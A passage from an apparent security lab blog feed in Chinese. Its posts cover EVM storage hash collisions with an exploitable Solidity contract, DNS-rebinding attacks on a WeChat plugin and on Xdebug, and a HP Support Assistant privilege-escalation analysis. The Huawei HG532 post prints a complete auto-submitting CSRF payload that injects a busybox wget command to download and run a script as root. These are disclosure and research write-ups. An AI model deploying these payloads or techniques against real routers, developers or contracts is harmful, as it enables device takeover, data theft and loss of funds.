StorageItem::StorageItem(CompilerContext& _compilerContext, VariableDeclaration const& _declaration):
    StorageItem(_compilerContext, *_declaration.annotation().type)
{
    auto const& location = m_context.storageLocationOfVariable(_declaration);
    m_context << location.first << u256(location.second);
}

hash 碰撞

如前文中提到的,使用 struct 和 array 的智能合约存在出现 hash 碰撞的可能。
一般来说 sha3 方法返回的 hash 是不会产生碰撞的,但是无法保证 hash(mem1)+n 不与其他 hash(mem2) 产生冲突。举个例子来说有两个 map

struct Account{
    string name;
    uint ID;
    uint amount;
    uint priceLimit;
    uint total;
}

map<address, uint> balances;     // slot 0  
map<string, Account> userTable;    // slot 1

在存储 balances[key1] = value1 时计算 sha3(key1,0) = hash1; Storage[hash1] = value1

存储 userTable[key2] = account 时计算 sha3(key2,1) = hash2;

hash1 和 hash2 是不相同的,但是 hash1 和 hash2 很有可能是临近的,相差很小,我们假设其相差 4 。

此时实际存储 account 时,会依次将 Account.nameAccount.IDAccount.amountAccount.priceLimitAccount.total存放在 storage 中 hash2、hash2+1、hash2+2、hash2+3、hash2+4 的位置。而 hash2+4 恰恰等于 hash1 ,那么 Account.total 的值就会覆盖之前存储在 balances 中的内容 value1

不过通过 struct 攻击只是存在理论上可能,在实际中找到相差很小的 sha3 是很难的。但是如果将问题转化到 array 中,就有可能实现真实的攻击。

因为在 array 中,数组的长度由数组对象第一个字节中存储的数据控制,只要这个值足够大,攻击者就可以覆盖到任意差距的 hash 数据。

pragma solidity ^0.4.23; 
contract Project
{
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   // 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c ->  0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d 

        return sha3(bytes32(msg.sender),bytes32(0));
    }

    function Resize(uint i){
        stateVar.length = 0x92b6e4f83ec43f4bc9069880e92f6ea53e45d964038b04cc518a923857c1b79c; // 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
    }

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; // 0x11a3a8a4f412d6fcb425fd90f8ca757eb40f014189d800d449d4e6c6cec4ee7f = 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
    }

}

当前的 sender 地址为 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c , balance[msg.sender] 存储的位置为 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d。 调用 Resize 方法将数组 stateVar 的长度修改,数组的存储位置在 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

最后调用合约方法 Rewrite 向数组赋值,该操作会覆盖 balance 中的内容,将地址为 sender 的值覆盖。

实际内存

最后我们来看一下实际内存的管理情况。无论以太坊区块链的上层技术如何高深,内存终归是需要落地的,最终这些数据还是需要存储在实际的物理内存中的。因此我们通过源码,实际分析 storage 部分的存储情况。EVM 的源码在 https://github.com/ethereum/cpp-ethereum

流程分析

1、 EVM 的返回值是通过 EVM 传递的,一般的在 Memory 偏移 0x40 的位置保存着返回值地址,这个地址上保存着真实的返回值

2、Storage 在最底层的实现上是一个 STL 实现稀疏数组,将 slot 值作为 key 来存储值

3、在 Storage 中的 Map 和 变长 Array 均是以 hash 值作为最底层稀疏数组的索引来进行的。 其中变长数组的索引方式为 hash(array_slot) + index 而 Map 的索引方式为 hash(map_slot, key) ,当 Value 为 Struct 时 Struct 成员会分别存储,每个成员的索引为 hash(map_slot, key) + offset

代码分析

Storage

Storage 部分内存是与合约代码共同存储在区块中的内存,因此 storage 内存消耗的 gas 回相对较多,我们通过 SLOAD 指令查看 Storage 在区块上的存储方式

SLOAD 指令在函数 interpretCases 中进行处理,当 EVM 解析到 SLOAD 指令后,首先从栈中获取栈顶元素作为 storage 访问的 key,然后调用函数 getStorage 进行实际访问

    case SLOAD:
            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value;
            m_context->fn_table->get_storage(&value, m_context, &m_message->destination, &key);
            m_SPP[0] = fromEvmC(value);
evmc_context_fn_table const fnTable = {
        accountExists,
        getStorage,
        setStorage,
        getBalance,
        getCodeSize,
        copyCode,
        selfdestruct,
        eth::call,
        getTxContext,
        getBlockHash,
        eth::log,
    };

getStorage 函数接收四个参数,第一个参数为返回地址,第二个参数是当前调用的上下文环境,第三个参数是此次交易信息的目的地址即合约地址,第四个参数是 storage 的索引 key

函数首先对 address 进行验证,保证当前的上下文就是处于合约地址的空间内,接着再调用 env.store 实际获取数据

void getStorage(
    evmc_uint256be* o_result,
    evmc_context* _context,
    evmc_address const* _addr,
    evmc_uint256be const* _key
) noexcept
{
    (void) _addr;
    auto& env = static_cast<ExtVMFace&>(*_context);
    assert(fromEvmC(*_addr) == env.myAddress);
    u256 key = fromEvmC(*_key);
    *o_result = toEvmC(env.store(key));
}
    virtual u256 store(u256 _n) override final { return m_s.storage(myAddress, _n); }

最终工作来到 State::storage

u256 State::storage(Address const& _id, u256 const& _key) const
{
    if (Account const* a = account(_id))
    {
        auto mit = a->storageOverlay().find(_key);
        if (mit != a->storageOverlay().end())
            return mit->second;

        // Not in the storage cache - go to the DB.
        SecureTrieDB<h256, OverlayDB> memdb(const_cast<OverlayDB*>(&m_db), a->baseRoot());          // promise we won't change the overlay! :)
        string payload = memdb.at(_key);
        u256 ret = payload.size() ? RLP(payload).toInt<u256>() : 0;
        a->setStorageCache(_key, ret);
        return ret;
    }
    else
        return 0;
}

函数首先根据 address 获取对应的 Account 对象

Account* State::account(Address const& _addr)
{
    auto it = m_cache.find(_addr);   // m_cache 使用 unordered_map 作为存储结构, find 返回 pair<key, value> 迭代器,迭代器 it->frist 表示 key ; it->second 表示 value
    if (it != m_cache.end())
        return &it->second;

    if (m_nonExistingAccountsCache.count(_addr))  // m_nonExistingAccountsCache 用于记录那些在当前环境下不存在的 addr
        return nullptr;

    // Populate basic info.
    string stateBack = m_state.at(_addr);  //  m_state 即为 StateDB ,以 addr 作为 key 获取这个 account 相关的信息,StateDB 中的数据已经格式化成了 string
    if (stateBack.empty())
    {
        m_nonExistingAccountsCache.insert(_addr);
        return nullptr;
    }

    clearCacheIfTooLarge();

    RLP state(stateBack);  // 创建 RLP 对象。交易必须是正确格式化的RLP。”RLP”代表Recursive Length Prefix,它是一种数据格式,用来编码二进制数据嵌套数组。以太坊就是使用RLP格式序列化对象。
    auto i = m_cache.emplace(
        std::piecewise_construct,
        std::forward_as_tuple(_addr),
        std::forward_as_tuple(state[0].toInt<u256>(), state[1].toInt<u256>(), state[2].toHash<h256>(), state[3].toHash<h256>(), Account::Unchanged)
    );  // 把这个 addr 以及其对应的数据加入到 cache 中,使用逐片构造函数
    m_unchangedCacheEntries.push_back(_addr);
    return &i.first->second;  // 返回这个 account
}

下面的注释是部分 Account 对象的说明 ,Account 对象用于表示一个以太账户的状态,Account 对象和 addr 通过 Map 存储在 State 对象中。 每一个 Account 账户包含了一个 storage trie 用于索引其在整个 StateDB 中的节点,Account 对于 storage 的操作会首先在 storageOverlay 这个 map 上进行,待之后有需要时才会将数据更新到 trie 上

/**
 * Models the state of a single Ethereum account.
 * Used to cache a portion of the full Ethereum state. State keeps a mapping of Address's to Accounts.
 *
 * Aside from storing the nonce and balance, the account may also be "dead" (where isAlive() returns false).
 * This allows State to explicitly store the notion of a deleted account in it's cache. kill() can be used
 * for this.
 *
 * For the account's storage, the class operates a cache. baseRoot() specifies the base state of the storage
 * given as the Trie root to be looked up in the state database. Alterations beyond this base are specified
 * in the overlay, stored in this class and retrieved with storageOverlay(). setStorage allows the overlay
 * to be altered.
 *

回到 State::storage 函数,在获取了 Account 之后查看 Account 的 storageOverlay 中是否有指定 key 的 value ,如果没有就去 DB 中查找,以 Account->m_storageRoot 为根,从 State->m_db 中获取一个 db 的拷贝。在这个 tire 的拷贝中查找并将其 RLP 格式化之后存在 m_storageOverlay

可以看到在实际数据同步到区块上之前,EVM 为 storage 和 account 均提供了二级缓存机制用以提高访存的效率:

  • storage: 一级缓存->account->m_storageOverlay; 二级缓存->state->m_db
  • account: 一级缓存->state->m_cache; 二级缓存->state->m_state

同样我们从存储 Storage 的入口点 SSTORE 开始进行分析, 主体函数为 VM::interpretCases , SSTORE opcode 最终会访问一个 unordered_map 类型的 hash 表

void VM::interpretCases(){
        // .....
        CASE(SSTORE)
        {
            ON_OP();
            if (m_message->flags & EVMC_STATIC)
                throwDisallowedStateChange();

            updateSSGas();
            updateIOGas();

            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value = toEvmC(m_SP[1]);
            m_context->fn_table->set_storage(m_context, &m_message->destination, &key, &value);
        }
        NEXT
        // .....
}

|-
    evmc_context_fn_table const fnTable = {
        accountExists,
        getStorage,
        setStorage,
        getBalance,
        getCodeSize,
        copyCode,
        selfdestruct,
        eth::call,
        getTxContext,
        getBlockHash,
        eth::log,
    };


    void setStorage(
        evmc_context* _context,
        evmc_address const* _addr,
        evmc_uint256be const* _key,
        evmc_uint256be const* _value
    ) noexcept
    {
        (void) _addr;
        auto& env = static_cast<ExtVMFace&>(*_context);
        assert(fromEvmC(*_addr) == env.myAddress);
        u256 index = fromEvmC(*_key);
        u256 value = fromEvmC(*_value);
        if (value == 0 && env.store(index) != 0)                   // If delete
            env.sub.refunds += env.evmSchedule().sstoreRefundGas;  // Increase refund counter

        env.setStore(index, value);    // Interface uses native endianness
    }

    |-
        void ExtVM::setStore(u256 _n, u256 _v)
        {
            m_s.setStorage(myAddress, _n, _v);
        }

        |-

            void State::setStorage(Address const& _contract, u256 const& _key, u256 const& _value)
            {
                m_changeLog.emplace_back(_contract, _key, storage(_contract, _key));
                m_cache[_contract].setStorage(_key, _value);
            }

            |-

                class Account{
                    // ...
                    std::unordered_map<u256, u256> m_storageOverlay;
                    // ...
                    void setStorage(u256 _p, u256 _v) { m_storageOverlay[_p] = _v; changed(); }
                    // ...
                }

memory

依旧从 MSTORE 入手,查看 EVM 中对 memory 的处理

        CASE(MSTORE)
        {
            ON_OP();
            updateMem(toInt63(m_SP[0]) + 32);
            updateIOGas();

            *(h256*)&m_mem[(unsigned)m_SP[0]] = (h256)m_SP[1];
        }
        NEXT

可以看到 memory 只在当前运行环境中有效,并不存储在与 state 相关的任何位置,因此 memory 只在当前这次运行环境内生效,即 Memory 只在一次交易内生效

code

code 与 storage 类似,也是与 Account 相关的,因此 code 也会存储在 Account 对应的结构中,一级缓存为 account->m_codeCache; 二级缓存存放位置 state->m_db[codehash]

void State::setCode(Address const& _address, bytes&& _code)
{
    m_changeLog.emplace_back(_address, code(_address));
    m_cache[_address].setCode(std::move(_code));
}

总结

虽然 hash 碰撞的问题出现在了一起类似 CTF 的“盗币”比赛中,但是我们也应该重视由于 EVM 存储设计问题而带来的变量覆盖以及 hash 碰撞之类的问题,希望各位智能合约的开发者们在开发中关注代码中的数据存储,避免由于此类问题带来的损失。

Timeline

6月28日——发现存在变量覆盖以及 hash 碰撞问题
11月6日——发现存在 hash 碰撞问题的合约

Reference

[1] https://github.com/ethereum/solidity/issues/1550
[2] https://lilymoana.github.io/ethereum_theory.html
[3] https://github.com/FISCO-BCOS/Wiki/tree/master/%E6%B5%85%E8%B0%88Ethereum%E7%9A%84%E5%AD%98%E5%82%A8#StateDB%E6%A8%A1%E5%9D%97
[4] https://github.com/ethereum/cpp-ethereum

]]>
来自微信外挂的安全风险 //xlab.tencent.com/cn/2018/10/23/weixin-cheater-risks/ Tue, 23 Oct 2018 07:39:48 +0000 //xlab.tencent.com/cn/?p=398 继续阅读“来自微信外挂的安全风险”]]> 玄武实验室联合独立安全研究员 em 发现在 Mac OS 上用户量比较大的两款微信防撤回外挂存在安全问题,装了此外挂的用户只要在浏览器里访问攻击者页面并停留一分钟左右,攻击者即可拿到该用户的好友列表,聊天记录,甚至以该用户的身份给好友发送消息,对用户的信息安全造成巨大威胁。

目前这两款外挂的用户量较大,比较热门的一款目前在 Github 上的 star 数量接近 8800,实际安装的用户数量可能更多。经过玄武实验室与微信安全部门沟通,为了避免让众多用户暴露在安全风险中,我们决定先对该外挂进行漏洞通报,然后再发文提示用户安全威胁。em 于10月15日在对应的 Github 仓库中提交了修复代码,其中一个已经进行修补,而另一个尚无操作。玄武实验室联合微信安全提醒大家,不要随意安装微信外挂。

一个攻击演示的视频如下。

这两个外挂出现问题的原因是相同的。下面以较为流行的 WeChatPlugin-MacOS 为例,说明此攻击发生的原理。

根据代码我们发现,WeChatPlugin-MacOS 使用了GCDWebServer在本地127.0.0.1监听了52700端口作为 web 服务器。以修复前的代码为例。在TKWebServerManager.m文件中定义了以下4个基于 HTTP 的 API。

  • /wechat-plugin/user
  • /wechat-plugin/chatlog
  • /wechat-plugin/open-session
  • /wechat-plugin/send-message

这四个 API 接口的作用分别是获取用户好友、获取聊天记录、打开与指定好友的聊天窗口、对指定好友发送任意消息。

例如,直接在浏览器里访问http://127.0.0.1:52700/wechat-plugin/user即可获取在 Mac 版微信聊天窗口页中所有的好友、群等信息。

有的同学可能会有疑问,端口监听在本地,只有自己能访问到,攻击者如何发起攻击呢?

一种常见的针对此场景的攻击方法名为 DNS Rebind。攻击者首先自己搭建一个DNS解析服务器,让自己控制的域名在发生第一次DNS解析的时候指向攻击者的服务器,以后都解析到127.0.0.1。这样当受害者访问攻击者的页面(http://attacker-domain-with-dns-rebind/exp.html)的时候,会从攻击者的服务器上拉取攻击代码,后面的对attacker-domain-with-dns-rebind域名的请求,会指向本地,即127.0.0.1。由于DNS的解析结果存在一定的缓存时间,在浏览器里大概需要1分钟的时间才会失效进行第二次解析。在发生第二次解析的时候,其指向的IP地址会变为127.0.0.1。虽然 DNS 解析指向的服务器变了,但是域名没变,浏览器仍然遵循同源策略,这样就能往本地端口发送请求并获取数据,甚至传输到其他站点了。

通过 DNS Rebind,攻击者可以拿到该用户的好友列表,聊天记录,以该用户的身份给好友发送消息。

最后感谢 m4bln 在测试过程中提供的帮助。

附存在问题的插件:
https://github.com/TKkk-iOSer/WeChatPlugin-MacOS
https://github.com/Sunnyyoung/WeChatTweak-macOS

]]>
利用恶意页面攻击本地Xdebug //xlab.tencent.com/cn/2018/03/30/pwn-local-xdebug/ Fri, 30 Mar 2018 10:23:38 +0000 //xlab.tencent.com/cn/?p=387 继续阅读“利用恶意页面攻击本地Xdebug”]]> TL;DR
PHP开发者以及一些安全研究人员经常会在本地搭建一个基于Xdebug的PHP的调试服务,在大部分配置情况下,Xdebug采用HTTP请求头中的X-Forwarded-For字段作为DBGp协议的回连地址。受害者浏览攻击页面一段时间,攻击者可利用DNS Rebind技术向本地服务器发送带有恶意X-Forwarded-For的请求,即有可能在受害者电脑上执行任意代码。

Xdebug是用于调试PHP的扩展,可以根据本地源码远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境,用于日常的开发和调试。如果服务器开启了Xdebug的回连,并且攻击者能直接访问到服务器的话,可以直接造成RCE。

但是大部分情况下,这些服务器处于内网环境中,有些甚至监听在127.0.0.1上,攻击者很难直接访问到,导致无法利用。如果把开发人员当做代理,利用CSRF来攻击位于内网的Xdebug呢?

我们首先看一下Xdebug有关远程调试的文档
如果xdebug.remote_connect_back启用,xdebug.remote_host没有设置,Xdebug会主动连接发起HTTP请求的客户端。Xdebug会依次检测$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['REMOTE_ADDR']来决定回连的IP地址。

即当Xdebug有类似如下的配置的时候,即有机会让Xdebug回连到请求头中X-Forwarded-For指向的ip地址。

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

一般来讲,在PHP开发人员的本地环境中会有index.phpconfig.php等文件。在受害者访问攻击者的恶意页面时,攻击者可以让受害者在浏览器里尝试向本地url如http://127.0.0.1/index.php?XDEBUG_SESSION_START或者http://127.0.0.1/config.php?XDEBUG_SESSION_START发起HTTP请求,并带有指向攻击者服务器的X-Forwarded-For请求头。这样攻击者就能在自己的服务器上收到来自受害者的DBGp协议的连接,在受害者的电脑上执行任意PHP代码。

我们都知道,在浏览器里发送带有非simple header的CORS请求的时候,需要先发送一个preflight request探测服务器是否允许发送这种请求头。此检测过程是由一个OPTIONS请求完成的。如果OPTIONS请求的响应头里有Access-Control-Allow-Headers: X-Forwarded-For这一项的话,才能发送带有X-Forwarded-For的GET或者POST请求。在受害者的本地环境中,几乎不会有这种响应头的。

不过,攻击者可以采用DNS Rebind的方式来绕过这个限制。攻击者首先自己搭建一个DNS解析服务器,让自己控制的域名在发生第一次DNS解析的时候指向攻击者的服务器,以后都解析到127.0.0.1。这样当受害者访问攻击者的页面(http://attacker-domain-with-dns-rebind/exp.html)的时候,会从攻击者的服务器上拉取攻击代码,使浏览器循环向http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START发送带有恶意X-Forwarded-For头的请求。因为攻击者存放攻击代码的页面和触发Xdebug回连请求的url在同一个域内,即可不用发送前面所说的preflight request。

由于DNS的解析结果也存在一定的缓存时间,在浏览器里大概需要1分钟的时间才会失效进行第二次解析。在发生第二次解析的时候,其指向的IP地址会变为127.0.0.1,即向受害者本地的服务器发送能触发Xdebug反弹的请求,这时候攻击者的服务器就能收到来自受害者Xdebug的连接了。攻击者可以通过DBGp协议中的eval命令在客户端执行任意php代码。

我们认为漏洞的成因是Xdebug从X-Forwarded-For头中取IP作为回连地址,而X-Forwarded-For头是不可信的。

玄武实验室于2018年3月26日将此问题报告给PHP官方,PHP官方人员于2018年3月30日作出回应,不认为这是一个安全问题,并将报告转为bug使之处于公开状态。玄武实验室建议PHP开发人员和安全研究人员在Xdebug的配置文件中根据当前情况增加xdebug.remote_host配置项,来防止自己遭受此攻击。

参考文献
https://bugs.php.net/bug.php?id=76149
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b
http://bluec0re.blogspot.ch/2018/03/cve-2018-7160-pwning-nodejs-developers.html

]]>
对华为HG532远程命令执行漏洞的新探索 //xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/ Fri, 05 Jan 2018 06:23:21 +0000 //xlab.tencent.com/cn/?p=344 继续阅读“对华为HG532远程命令执行漏洞的新探索”]]> 2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由器UPnP服务监听的37215端口发送一个特殊构造的 HTTP 请求包,即可触发命令执行。此端口在默认配置下并不能从外网访问,但由于该系列路由器数量极其巨大,所以互联网上仍有较多可访问到该端口的设备存在。目前已经有蠕虫在利用这些暴露在互联网上的端口进行传播[1]。

近期国内外已有不少对该漏洞原理的分析[2],在此不再赘述。但我们发现该漏洞实际的威胁可能比目前大家所认为的更为严重,某些对该漏洞的防御建议也是不够的甚至错误的。37215端口暴露在互联网上的HG532系列设备只占其中很少一部分,就已经足够多到被蠕虫利用,而如果其它那些只在内网能访问到的37215端口也可以被攻击者利用呢?

在2013年,国内爆发了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻击技术。这种攻击技术能利用在现在HG532路由器的这个漏洞上吗?如果可以,那么只要诱使HG532路由器的用户用手机、电脑访问一个恶意页面,就可以导致路由器完全被攻击者控制。

我们从漏洞的PoC开始看起。在PoC里,漏洞成功利用需要构造一个XML格式的POST请求包,并且需要通过服务器端的HTTP基础认证,payload里并没有需要预测的部分。因此这个请求进行CSRF攻击测试只需要完成两点。一是成功通过服务器端的HTTP基础认证,二是构造XML攻击代码。

首先来看HTTP基础认证的部分。如果通不过HTTP基础认证,服务器会返回401错误,无法到达存在问题的逻辑。目前网络流传的PoC大部分为在HTTP的请求头里构造一个适用于基础认证的字段。

Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

在现代浏览器中,要想在HTTP请求头中增加自定义的项只能通过XMLHTTPRequest的方式来发出请求,同时需要服务端返回允许添加头部内容的列表。而UPnP服务是不允许XMLHTTPRequest在请求头中添加这一项的。为了绕过这个限制,我们可以采用DNS Rebind的技术。但是我们真的需要这么复杂的攻击方式吗?

仔细观察HTTP基础认证的字段,我们可以发现,用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单,使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。

接下来就是如何用表单来构造一个XML的请求包了。为了不让浏览器对请求体编码,需要指定表单的enctype为text/plain,利用input标签的name和value两个属性的值可以构造出我们想要的内容。
最终构造的CSRF攻击payload样例如下。

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
    <input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
  </form>
</body>

攻击者只要诱使用户访问包含上述代码的页面,存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行。

所以,实际上几乎所有存在漏洞的华为 HG532 系列路由器都面临着被远程攻击的风险,而不只是37215端口暴露在互联网上的那些。一条包含恶意链接的短信就可以让你的路由器被攻击者控制。而一旦路由器被控制,就可能导致内网其它设备的沦陷。

同时,根据我们的实际测试,即使用户关闭了UPnP服务,存在漏洞的路由器在重启后仍然能遭受攻击。并且修改路由器管理口令并不会影响UPnP服务基础认证所用的口令。所以试图关闭UPnP服务和修改路由器管理口令来防范该漏洞都是不可行的。

此外,即使将 HG532 内置防火墙等级设置为高,也无法防御此种利用方式的攻击。

最有效的防御方式是安装新版固件。目前在HG532e产品页面[4]中可以看到的最新固件是2016年11月7日的版本[4]。虽然官方安全公告中并未说明该固件已不受CVE-2017-17215的影响,但据我们的分析和测试,至少目前所知的CVE-2017-17215漏洞攻击方式对此版本固件是无效的。

此外,如果把路由器LAN侧IP地址改成非默认地址,如下图中改为了192.168.2.1,也可对攻击造成一定程度的干扰。但攻击者仍有可能用很多其他方法获知到真正的路由器LAN侧IP地址。

最后感谢tk提出的攻击思路,感谢huimingliu、hyperchem在获取路由器shell过程中提供的巨大帮助。

演示视频:

参考资料
[1] 腾讯蜜罐系统捕获高危IoT蠕虫Okiru
http://slab.qq.com/news/tech/1705.html
[2] Huawei HG532 系列路由器远程命令执行漏洞分析
https://paper.seebug.org/490/
[3] 关于HG532产品存在远程代码执行安全漏洞的声明
http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn
[4] HG532e产品页面
http://m.huawei.com/cnxmobile/consumer-ncbdtest/home-internet/broadband-devices/detail/hg532e-cn.htm

]]>
Browser UI Security 技术白皮书 //xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/ Mon, 16 Oct 2017 05:26:14 +0000 //xlab.tencent.com/cn/?p=332 继续阅读“Browser UI Security 技术白皮书”]]> Browser UI ,是指浏览器用户界面。浏览器经过几十年的发展,对于用户界面并没有一个统一的规定标准,目前大多数现代浏览器的用户界面包括:前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面,例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把Browser UI认为是一个前端标签式的页面管理器或者Web的外壳,用户不必去考虑浏览器应用程序底层是如何处理数据的,所有的网络行为结果,均由Browser UI去展现给用户。

从安全的角度来说,浏览器UI上最容易发生的攻击就是用户界面欺骗,也就是UI Spoof。通常UI Spoof被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户,进而获取用户的敏感信息的一种攻击手段,通常使用伪造网站等方法,诱使用户从视觉感官上相信其是合法真实的,当用户在浏览器中进行操作后,敏感信息就有可能被攻击者获取到。

因此浏览器UX团队在开发UI过程中,在便捷用户浏览的同时,对UI安全模型上的设计、策略、逻辑也显得非常重要,安全的UI能帮助用户在上网时快速、准确的做出正确安全的决策。 而UI一旦出现了缺陷,攻击者就可能伪造浏览器UI中的某些关键信息,进而对用户实施网络钓鱼攻击。

本技术白皮书中将给大家介绍什么是UI Spoof漏洞,并对多个浏览器UI上的安全漏洞进行详细分析。

下载链接: Browser-UI-Security-技术白皮书.pdf

]]>
从一个补了三次的漏洞看WCF的安全编程 //xlab.tencent.com/cn/2017/09/11/safe-coding-of-wcf-viewed-from-a-longlive-vulnerability/ Mon, 11 Sep 2017 07:02:44 +0000 //xlab.tencent.com/cn/?p=292 继续阅读“从一个补了三次的漏洞看WCF的安全编程”]]> 背景

笔者在2016年11月发现并报告了HP Support Assistant (HPSA) 的权限提升漏洞,HP Product Security Response Team (HP PSRT) 响应迅速,但却以此漏洞可以通过软件的自动更新功能自动修复为由拒绝为其发布安全公告和CVE。4月份想起这件事后,笔者又分析了一遍修补后的HPSA,发现HP的开发人员在修补中犯了更为低级的错误,导致补丁可以被绕过重新实现权限提升。在随后与HP PSRT的沟通与合作中,再一次利用其它技巧绕过了其后续修补,最终笔者协助HP PSRT完成了漏洞的修补。

本文将分析此漏洞的成因及多次补丁绕过,希望能以此为案例提高开发人员对安全的认识和理解,以减少由于对所用技术理解不到位和安全编程意识匮乏而导致的安全漏洞。

问题描述

HPSA是惠普推出的系统管理软件,被默认安装在惠普的所有PC中。其用于维护系统及打印机,并提供自动更新等功能。HPSA使用.Net开发,其系统服务HPSupportSolutionsFrameworkService使用WCF与客户端通信,完成系统更新、管理等高权限敏感操作。虽然HPSA使用了较新的分布式处理技术WCF,然而在Server与Client通信过程中,却采用了不正确的认证方式。导致攻击者可以绕过认证,最终利用其敏感服务接口的缺陷,实现everyone到system的权限提升。

本文将从WCF技术背景、漏洞发现、漏洞利用、补丁实现和两次绕过几个方面进行分析。

WCF技术背景

WCF(Windows Communication Foundation) 是用于面向服务应用程序的编程框架,基于WCF的服务可以有两种形式:1). 通过IIS寄宿的方式将服务寄宿于IIS中; 2). 通过自我寄宿(Self-Hosting)的方式将服务寄宿于普通应用程序、windows服务之中。

WCF使用Endpoint的概念,在服务Endpoint和客户Endpoint之间传输异步消息。 Endpoint用来描述消息发往什么地方,如何被发送等行为。一个服务端Endpoint主要由三部分构成:

1). Addrsss
唯一标识endpoint,是描述服务接口的URI,可以是相对地址(相对于ServiceHost(Type, Uri[])的URI),也可以是绝对地址。

2). Binding
指定绑定在endpoint上的接口类型,描述endpoint间通信时使用的协议、消息编码方式、安全设置等。
WCF支持:HttpBindingBase, MsmqBindingBase, NetNamedPipeBinding, NetPeerTcpBinding, NetTcpBinding, UdpBinding, WebHttpBinding, WSDualHttpBinding, WSHttpBindingBase, CustomBinding多种绑定类型。

3). Contract
契约指定并设置绑定到当前endpoint上的服务接口,即哪些方法被导出给客户端,方法的授权情况、消息格式等。

漏洞成因

HPSA的系统服务HPSupportSolutionsFrameworkService具有SYSTEM权限,并开启了多个允许everyone账户读写的NamePipe。这一敏感行为引起了笔者的注意,因此dump下安装包进一步分析。

反混淆反编译后进行代码审计,发现HPSA的系统服务使用WCF与Client进行交互。它创建了一个绑定在NetNamedPipeBinding(URI:”net.pipe://localhost/HPSupportSolutionsFramework/HPSA”)上的Endpoint,并允许Client调用多个绑定在此Endpoint上的服务接口:HP.SupportFramework.ServiceManager.Interfaces::IServiceInterface。

HPSA在连接建立时对Client进行了认证,以阻止敏感接口被恶意程序调用。Server与Client的交互过程如下表所示:

Timeline Client Server
0 创建 Endpoint
1 实例化HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类, 创建一个随机GUID, 将其作为参数调用绑定在 Endpoint 上的 StartClientSession(string guid); StartClientSession(string guid)接收Client传递过来的随机GUID, 创建命名管道HPSA_guid, 等待Client连接
2 连接Server创建的命名管道HPSA_guid, 进行身份“认证”
3 通过GetNamedPipeClientProcessId()获取Client的PID, 通过Process.get_MainModule().get_FileName();获取进程路径, 对Client的签名进行验证
4 若签名验证通过, 生成一个ClientId(随机数)和一个Token(GUID), 并将ClientId、Token、CallerName保存到内部维护的“Client对象链表”中, 最后将随机数ClientId发送给Client。关闭命名管道
5 接收到Server返回的ClientId(随机数)后, 将其保存在ServiceInterface.ClientInfo.ClientId中。关闭命名管道
6 调用绑定在 Endpoint上的 GetClientToken(ServiceInterface.ClientInfo.ClientId), 通过ClientId从Server处获取Token, 转换成SecureString, 保存在ServiceInterface.ClientInfo.Token中, Token将作为临时身份令牌使用 GetClientToken(int clientId) 接收Client传过来的ClientId, 从“Client对象链表”中索引其对应的Token(secureString形式的GUID)并返回
7 随后Client即可使用随机数Token作为参数, 调用绑定在StartClientSession上的其它敏感服务接口 绑定在Endpoint上的敏感操作, 例如DeleteFile(string filePath, string token), 在收到Client发送来的Token时, 通过遍历Client对象链表来验证调用者身份

在Server与Client的交互过程中,HPSupportSolutionsFrameworkService使用了多种途径来确保安全:验证Client是否为HP签名、使用SecureString存储GUID、使用RNGCryptoServiceProvider生成随机数、调用敏感接口时验证Client的Token。

